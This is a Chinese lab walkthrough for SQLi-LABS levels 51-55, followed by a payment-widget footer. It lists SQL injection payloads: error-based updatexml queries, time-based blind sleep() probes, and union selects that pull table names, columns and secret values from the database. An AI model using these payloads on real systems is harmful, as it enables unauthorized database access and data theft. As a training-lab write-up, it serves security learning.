SQLi-LABS靶场51-55通过攻略

less-51

1.判断注入点

?sort=1'  加上单引号会引起报错

2.判断闭合方式

?sort=1'--+  可以闭合成功

3.查询数据库名

使用报错注入查询

?sort=1' and updatexml(1,concat(1,database()),1)--+

4.查询数据库的所有表

?sort=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

5.查询users表的所有字段

?sort=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

less-52

1.判断注入点

正常页面

错误页面?sort=1' --+ 说明存在注入

2.判断数据库长度

?sort=1 and if(length(database())>7,sleep(3),1) --+ 发现页面有延迟

?sort=1 and if(length(database())>8,sleep(3),1) --+ 发现页面没有延迟 说明数据库长度=8

3.查询数据库名

?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1),页面延时三秒

?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1),页面没有延迟 说明第一位字符的ASCII码=115  也就是s 

以此类推 可以得出数据库名为security

less-53

这一关同第52关一样 都是使用时间盲注 唯一的区别是这一关闭合方式是单引号闭合

less-54

1.判断注入点

?id=1' 页面显示不正常

2.判断闭合方式

?id=1'--+  闭合成功

3.判断页面回显点

?id=-1' union select 1,2,3--+

4.查询数据库名

?id=-1' union select 1,database(),3--+

5.查询数据库的所有表

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+

4.查询表的所有字段

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='jqwz3m0yo4'),3--+

6.查询表的所有内容

?id=-1' union select 1,2,(select group_concat(id,'/',sessid,'/',secret_C0NE,'/',tryy) from jqwz3m0yo4)--+

选择secret_c0ne的内容提交即可

less-55

1.判断闭合方式

?id=1) --+ 发现是括号闭合

2.查看页面回显点

?id=-1) union select 1,2,3--+

3.查询数据库

?id=-1) union select 1,database(),3--+

4.查询数据库的所有表

?id=-1) union select 1,(select table_name from information_schema.tables where table_schema='challenges'),3--+

5.查询表的所有字段

?id=-1) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='nqnk5uf9gb')--+

6.查询表的所有内容

?id=-1) union select 1,2,(select group_concat(secret_OTNI) from nqnk5uf9gb)--+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值